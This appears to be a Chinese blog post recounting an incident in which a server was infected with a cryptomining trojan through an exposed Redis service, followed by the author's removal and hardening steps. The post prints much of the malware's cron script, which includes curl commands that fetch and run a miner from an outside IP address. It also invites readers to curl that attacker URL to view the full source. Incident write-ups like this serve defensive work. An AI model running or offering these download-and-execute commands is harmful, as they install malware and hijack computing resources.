前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次服务器被植入挖矿木马CPU飙升200%解决过程

记一次服务器被植入挖矿木马CPU飙升200%解决过程

作者头像
周三不加班
发布2019-06-04 18:33:23
1.8K0
发布2019-06-04 18:33:23
举报
文章被收录于专栏:程序猿杂货铺

原文 | http://t.cn/EXDVeBz

编辑 | 程序猿杂货铺

阅读文本大概需要 7 分钟。

线上服务器用的是某讯云的,欢快的完美运行着 Tomcat,MySQL,MongoDB,ActiveMQ 等程序。突然一则噩耗从前线传来:网站不能访问了。

此项目是我负责,我以 150+ 的手速立即打开了服务器,看到 Tomcat 挂了,然后顺其自然的重启,启动过程中直接被 killed,再试试数据库,同样没成功,多次尝试甚至重启机器无果,机智的我打了个 top,出现以下内容:

这是谁运行的程序?不管三七二十一先杀掉再说,因为它就是 Tomcat 等程序启动不了的元凶,然而并没有什么卵用,过一会再看那个东西又跑出来占 cpu。怀疑是个定时任务:

什么鬼,是个图片?立即访问了一下:

好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,crul 过去是下面的脚本,过程就是在挖矿:

代码语言:javascript
复制
#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中间省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

代码语言:javascript
复制
curl 192.99.142.235:8220/logo3.jpg

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

杀掉,找到存放目录:

进入临时目录:

被我发现配置文件了,先来看看内容:

虎躯一震,发现了不少信息啊,user 是他的 server 的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较,干掉这两个文件后再查看 top:

解决办法

找到寄生的目录,一般都会在 tmp 里,我这个是在 /var/tmp/。首先把 crontab 干掉,杀掉进程,再删除产生的文件。

启动Tomcat等程序,大功告成!

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对,不然你杀掉进程删掉文件后,黑客后门进来 history 一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:

  1. 把所有软件升级到新版本,修复 redis 的后门,配置 bind 选项, 限定可以连接 Redis 服务器的IP,并修改 Redis 的默认端口 6379。配置 AUTH, 设置密码,密码会以明文方式保存在 Redis 配置文件中。
  2. 修改所有软件默认端口号
  3. 打开 ssh/authorized_keys , 删除不认识的密钥
  4. 删除用户列表中陌生的帐号
  5. 封了他的 IP
  6. SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

木马原因

是 Redis 漏洞导致:

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。 http://blog.jobbole.com/94518/

最好的方式:将主机镜像,找出病毒木马,分析入侵原因。检查业务程序,重装系统,修复漏洞,再重新部署系统。

写在最后,

网友提供的一劳永逸终极解决办法:

把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了,互相伤害啊

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-04-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员啊粥 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 解决办法
  • 木马原因
  • 写在最后,
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档